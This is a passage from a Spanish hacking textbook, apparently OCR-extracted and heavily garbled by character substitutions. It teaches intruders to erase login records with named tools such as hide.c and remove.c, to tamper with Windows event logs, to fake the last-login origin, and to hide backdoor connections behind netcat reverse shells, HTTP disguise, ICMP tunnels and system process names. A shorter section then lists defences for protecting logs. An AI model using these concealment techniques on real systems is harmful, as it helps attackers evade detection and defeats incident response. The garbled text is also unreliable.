editar, por eemplo, el QvarQlogQ$t(p y tiene una desagradable sorpresa= el archivo no es
de te5to plano, sino binarioG /o mismo sucede con QvarQrunQut(p + QvarQlogQlastlog.
2ntonces, 7!u$ hacer8 (esesperacin ...
.omo hemos dicho anteriormente, hay herramientas automticas para limpiar el "ut(p"*
"$t(p" + "lastlog". :na 0entre muchas1 es ".ide" 0PPP.hoobie.netLsecurityLe5ploits
LhackingLhide.c1. 2ste pe!ue)o programa elimina las entradas !ue el usuario reali#a en el
archivo "ut(p". 2s evidente !ue los sistemas modernos no hacen este disparate y dean
el "ut(p" accesible solamente al root, pero es una e5celente prueba de concepto.
2l cdigo fuente del programa, siendo pe!ue)o, es fcil de entender. <bviamente, en este
punto el lector debe saber !ue tiene !ue compilar el pe!ue)o programa para !ue
funcione. (ependiendo del sistema, pueden ser necesarios algunos cambios . 2n
1onectiva 'inu) K, por eemplo, simplemente reempla#ar todas las funciones de 4e5it 014
por 4e5it 0'14 -otese !ue el candidato a hacker debe aprender a programar 0o por lo
menos a 4retornar41 en . y . U U. Si no !uieres aprender a programar bien, tira este libro=
tu no !uieres elevar tu nivel t$cnico, sino slo aprender las recetas de ata!ue sencillas.
/os hackers se reirn de ti, por eso.
2n el mismo sitio encontramos una herramienta muy famosa, desarrollada por el hacker
Simple -omad, llamada "7e(ove" 0PPP.hoobie.netLsecurityLe5ploitsLhackingLremove.c1.
.on ella, se pueden eliminar todos los usuarios de cual!uiera de los tres archivos "ut(p"*
"$t(p" + "lastlog". Mue desarrollada para "3K, pero puede ser fcilmente compilada 0como
est o con modificaciones simples1 en cual!uier distro de :ni5, incluyendo /inu5 y
fMree,<pen,-etg +S(. "dems de eliminar los registros relativos a cual!uier usuario 0y no
slo eecutar la herramienta, como Hide1, "7e(ove" permite cambiar el %ltimo usuario !ue
inici sesin y el sitio de inicio de sesin 03P, si es remoto, tty o pst si es local1.
.ompile y pruebe los dos programas en la m!uina de ensayos. Nealice varios
e5perimentos, como aumentar y disminuir del nivel de permisos de sus "ut(p"* "$t(p" +
"lastlog" y eecute las dos herramientas. 6enga en cuenta !ue, en un ata!ue real, el
atacante generalmente necesita un shell de CrootD para eecutar 4Nemove4, pero no
necesita, de muchos privilegios para atacar el sistema. (espu$s de ugar con ellas, busca
otros tipos de herramientas. -ombres muy comunes son 41loa/"* "1loa/B" #o 1loa/!B&
"dap" + "'og,-dit". ;uchos rootkits tienen herramientas 0integradas o no1 para editar
estos archivos. V$ase, por eemplo, la documentacin del "/nar/" y de "Ir/G". Pero
recuerde= nunca utilice una pie#a redonda en el orificio cuadradoG 3nvestigue sobre la
herramienta adecuada para el :ni5 !ue est siendo atacado.
Si ninguna de estas herramientas est disponible en el momento, algunos trucos pueden
ayudarlo a permanecer oculto por alg%n tiempo. Por eemplo, cuando se accede al
sistema mediante una cuenta 4hackeada4, probablemente el acceso ser registrado en el
"lastlog" con la 3P de cone5in o el nombre de dominio correspondiente. Para eliminarlo
0al menos en el lastlog1, una ve# conectado con $5ito, eecute el comando "rlogin" en la
misma cuenta. /istoG "hora, la %ltima cone5in de esta cuenta habr sido local, y en el
"lastlog" aparecer "fro( local3ost".
Malta enga)ar a la orden 4Pho4. :na registrados en el sistema 0y despu$s de enga)ar al
292
ikimilikiliklik Universidad H4CK3R
4lastlog 4...1, use el comando 4login4 e introdu#ca, de nuevo, el nombre de usuario y la
contrase)a para esa cuenta. (ependiendo del :ni5 0y cmo este de actuali#ado ...1, eso
ocultar el origen de la cone5in, haciendo !ue el comando 4Pho4 piense !ue alguien
inicia sesin localmente.
Por %ltimo, bus!ue registros especficos de los servidores y aplicaciones !ue se eecutan
en el ordenador infectado. "dems de los registros del sistema, bus!ue los de "pache o
del servidor M6P. .ada sistema y versin de :ni5 poseen dae(ons de versiones y
orgenes diferentes y procedimientos diferentes para el registro. -o vamos a tratar todas
las posibilidades a!u, pues tomara el espacio de varios libros como $ste, pero es
imprescindible !ue el lector investigue sobre eso en el medio invadido. 2s precisamente
por eso, !ue la observacin es importante, antes de hacer nada.
.omo deberes, intenta comprobar los registros de ;pac3e + Squid en el e!uipo de
pruebas. 3ntenta simplemente conectarte a el desde otra m!uina como un usuario normal
0por eemplo, establece una cone5in SSH al mismo, %salo como pro5y con S!uid o visita
una pgina de prueba H6;/1. /uego, sigue todos los pasos de invasin vistos en
captulos anteriores, desde una eecucin de OnmapO contra la m!uina hasta conseguir
un CrootD por alg%n m$todo y cambiar algo. Mate bien en los archivos de registro para ver
!u$ pasa.
.onseo final= PPP.hoobie.net.
= Registro de e1entos en Windows IEH2kHGP
.omo vimos en el captulo sobre las plataformas OindoPs, todo el funcionamiento de
OindoPs est basado en eventos. "s !ue, nada ms lgico !ue sus logs tambi$n
registren los diversos eventos !ue ocurren en el sistema. :n servicio especial llamado
-vent'og hace el trabao. * los problemas comien#an por eso mismo= los logs slo se
crean si las rutinas de auditora de OindoPs estn habilitadas. (ado !ue no todos los
administradores lo hacen, hay ah un gran aguero de seguridad e5plotado por los
atacantes.
/os eventos se registran en dos pasos. 2n primer lugar, se almacenan en archivos
temporales llamados "PP/3."63<-./<T, S*S62;./<T y S2.:N36*./<T 0en OindoPs
KP, estos 9 archivos se convierten en docenas de ellos en .=dO3-(<OS o .=dO3--61.
(espu$s de alg%n tiempo, estos datos se almacenan en tres archivos finales=
Sec-vent.-vt* S+s-vent.-vt + ;pp-vent.-vt, todos almacenados en .=dO3-(<OSd
system9&. Son archivos binarios, como "ut(p" de :ni5, y por lo tanto re!uieren
aplicaciones especficas para ser editados. .ada uno de ellos, respectivamente, muestra
un conunto diferente de eventos= la seguridad 0los intentos fallidos o no, acceso a
archivos no autori#ados, etc1, el funcionamiento del sistema 0iniciali#acin, la terminacin
y fallos de servicios y drivers1 y el funcionamiento de las aplicaciones 0iniciali#acin,
terminacin y fallos en los programas del espacio de usuario1.
3gual !ue en el registro, !ue puede ser consultado y modificado con 7eg-dit* los eventos
del sistema se pueden ver 0pero no cambiar1 con el -vent Uie$er. Para acceder a el, haga
clic en InicioQ-jecutar y eecute el comando "eventv$r". /a pantalla aparecer as=
293
ikimilikiliklik Universidad H4CK3R
<bserve= for#amos algunos accesos no deseados con un usuario no privilegiado y luego
anali#amos los logs en un OindoPs KP.
Para cambiar los logs, se deben usar otras herramientas, ya !ue el -vent Uie$er es slo
un visor. Hay algunos disponibles en sitios de hackers, pero hay !ue investigar un poco.
2l sitio "8 Securit+ 0ntsecurity.nu1 ofrece una herramienta llamada ,indapper !ue
permite cambiar los registros de servidores OindoPs -6 y &'''.
0cultar sus coneiones
Hemos hablado anteriormente acerca de cmo hacer las cone5iones indetectables.
2mpe#ando con los rootkits, !ue crean un ambiente artificial y 4mienten4 sobre las
comunicaciones e5istentes, pasamos por m$todos de incrustar las cone5iones en otras y
terminamos usando t$cnicas !ue permiten,incluso, comunicaciones sin cone5in. Vamos
a recordar algunas de las t$cnicas vistas, reunidas a!u como una especie de 4revisin4.
Para empe#ar, e5isten tMcnicas de 1apa!L vistas en el captulo anterior y !ue usan
spoofingesniffing para recibir ordenes en la m!uina vctima. "dems, el uso del 4relleno4
y los campos in%tiles en los encabe#ados 6.PL3P para enviar datos al hacker desde el
ordenador comprometido. 2l hacker tiene !ue situarse en el medio del fluo de datos a fin
de 4esnifar4 los pa!uetes sin perder ninguno, puesto !ue no estn destinados
formalmente a el.
Hace dos captulos, vimos cmo utili#ar "etcat para 4for#ar4 un shell con una cone5in
desde el interior hacia fuera. (e este modo, el administrador, incluso verificando la
cone5in con netstat o cual!uier otra herramienta, ver una inocente cone5in originada
desde el interior de la red. Hay herramientas !ue van ms all y camuflan esa cone5in
como si fuera una peticin H66P, P<P, M6P o S;6P desde dentro. 2n la m!uina del
hacker, hay un programa !ue simula ser el servidor deseado 0H66P, por eemplo1 y
manda, disfra#ados de respuesta H66P, los comandos !ue se eecutarn en la vctima.
:sar el protocolo H66P es realmente efica# e inmoral, por!ue el puerto A' est siempre
abierto para !ue los usuarios internos hagan cone5iones a la Oeb
Hay dos formas ms 0entre muchas otras1 !ue deamos como trabao para casa. 2s
294
ikimilikiliklik Universidad H4CK3R
posible, en m!uinas :ni5, 4rebotar4, un KFterminal a la m!uina del hacker, si el servidor
K se est eecutando y su puerto 0normalmente el J'''1 est abierto y sin filtros. 6ambi$n
es posible intercambiar informacin entre la ma!uina del hacker y la de la vctima 0sea
OindoPs, :ni5, ;acintosh, -ovell ...1 usando trfico 3.;P. Sugerencia= 'o/i.
/a manera de ocultar el trfico depende de cada caso. Hay redes en las !ue la
comunicacin a trav$s de 3.;P sera impracticable, ya !ue el cortafuegos blo!uea ese
tipo de trfico. Pero es importante !ue el hacker !ue !uiera mantener un canal seguro de
comunicacin con las puertas traseras de sus presas, implemente alg%n tipo de camuflae.
Hoy en da, los administradores no son tan despreocupados en cuanto al trfico
sospechoso como hace cuatro o cinco a)os.
:n %ltimo conseo= eecute sus backdoors con nombres del sistema, de manera !ue
apare#can como procesos comunes. Por eemplo, en OindoPs un servidor +'&S se
puede renombrar a Ce5plorer.e5eD. 2n :ni5, lo podramos llamar 4inetd4 o 4lpd4.
Jefensa - contraata+ue
"lgunas medidas se pueden tomar para prevenir, o al menos, obstaculi#ar el trabao de
camuflae de los hackers maliciosos.
= 5liminaci/n de registros
2n primer lugar, aseg%rese peridicamente de !ue la auditora del sistema se eecuta
realmente, y son creados los registros. 2n las m!uinas :ni5, verifi!ue "s+slog"_ en
OindoPs, "-vent'og". Hay hackers !ue, en lugar de editar los logs, apagan la auditora y
dean registros falsos !ue no cambian nunca. "dministradores CapagadosD y algunos
inspectores de integridad de archivos son enga)ados con esta t$cnica simple y bruta.
2n segundo lugar, aseg%rese de !ue est autori#ado a escribir e incluso leer los registros,
realmente debera poseerlo. "un!ue obvio, este cuidado es a menudo pasado por alto
incluso por administradores con e5periencia. :se la poltica de m5ima prudencia posible.
2n este caso, siempre, menos es ms.
"plicar el cifrado es el tercer paso obvio. " diferencia de los dos anteriores, por lo general
los logs no estn encriptados por defecto, con herramientas del propio sistema. 2n
cambio, son necesarios programas de terceros para esa tarea. .ada sistema operativo
tiene distintas posibilidades. .omun!uese con su proveedor para ms informacin.
<tra forma muy efectiva 0pero no tan evidente1 para proteger los logs es grabarlos en un
soporte de slo lectura. /os .(FN son especialmente %tiles para ello. 2s posible !ue haya
problemas de rendimiento en el acceso al disco, pero las unidades ms modernas ya
tienen una velocidad aceptable para la tarea. 2l hecho es !ue los hackers no sean
capaces de cambiar el registro por!ue no es posible fsicamente.
Preparar un servidor especial para almacenar los registros de sucesos de todos los otros
e!uipos tambi$n es un dispositivo interesante. 2sto crea varias capas de dificultad para
!ue el atacante llegue hasta, e incluso sepa dnde estn, los archivos de registro reales.
(e nuevo, pngase en contacto con su proveedor para conocer las opciones de
servidores de registros disponibles para su sistema operativo.
:n %ltimo truco, !ue no blo!uea, pero retrasa al atacante ms cualificado, es poner los
295
ikimilikiliklik Universidad H4CK3R
registros en ubicaciones noFestndar y dear, en los lugares estndar, simulacros. .uando
se trata de Siddies, este simple recurso va a crear la falsa impresin de !ue 4abri el bar,4
cuando en realidad siguen siendo monitoreados.
= Camufla?e de coneiones
Para empe#ar, y en lnea con lo !ue hemos visto en captulos anteriores, el atacante no
debe conseguir, de ninguna forma, acceso privilegiado al sistema. 2l acceso CrootD o
CadministradorD, debe ser evitado al m5imo. Por lo tanto, aplicar las revisiones de su
fabricante, mantener contrase)as seguras, deshabilitar los servicios no utili#ados, bla, bla,
bla, bla ... /a viea frmula de siempre, se debe aplicar a cual!uier situacin.
.onoce lo !ue ests eecutando. "prende los procesos !ue pueden y los !ue no deberan
aparecer en la lista de tareas, as como las cone5iones !ue deberan 0o no1 estar
establecidas. .ompru$balo peridicamente, ms de una ve# al da en los casos de
sospecha de ata!ue y ms de una ve# por hora cuando el ata!ue ha sido detectado.
:n %ltimo conseo= Snort puede detectar los canales de comunicacin basados en 3.;P.
Snort e 'o/i ... uego interesante.
AUna des7edidaC
+ueno, llegamos al final de nuestros estudios formales. 2s emocionante verte formado y
diplomado. Pero recuerda !ue tu educacin en el hackeo no termina con el %ltimo
captulo. Ha# todos los eercicios del libro y visita todos los sitios indicados. * prueba
todas las herramientas sugeridas. Vers !ue son muy pocas en comparacin con lo !ue
hay disponible. QVuelve atrsG "prender a ser 4hacker4 0o como se llame1 es un proceso
continuo.
-os despedimos a!u 0lgrimas en los oosG1 y esperamos !ue podamos encontrarnos
pronto, en otro curso, tal ve#.
Pero, mantente en contacto con tus antiguos maestrosG 2nvanos tus sugerencias, crticas
y contribuciones a este libro. 6odos estis invitados a participar. 2scribeG
-uestra direccin= univh?ck9rudigerati.com.br.
* no te olvides de visitar nuestro sitio Peb en= PPP.digerati.com.brLlivro
:n fuerte abra#o, e incluso ms. Happy HackingG
f2s de destacar !ue este libro ha llegado hasta a!u sin mencionar en ning%n momento, 42l arte de la
guerra=. Sun 6#u4. -o hay publicacin moderna !ue no se aproveche de este venerable eemplo de
literatura clsica. /os autores trataron de escapar de la corriente, y por tanto decidieron 0en contra de las
sugerencias propuestas por todas las partes1 no incluir ning%n prrafo del milenario compendio. Sin
embargo, el libro es muy bueno y vale la pena leerlo.g
296

También podría gustarte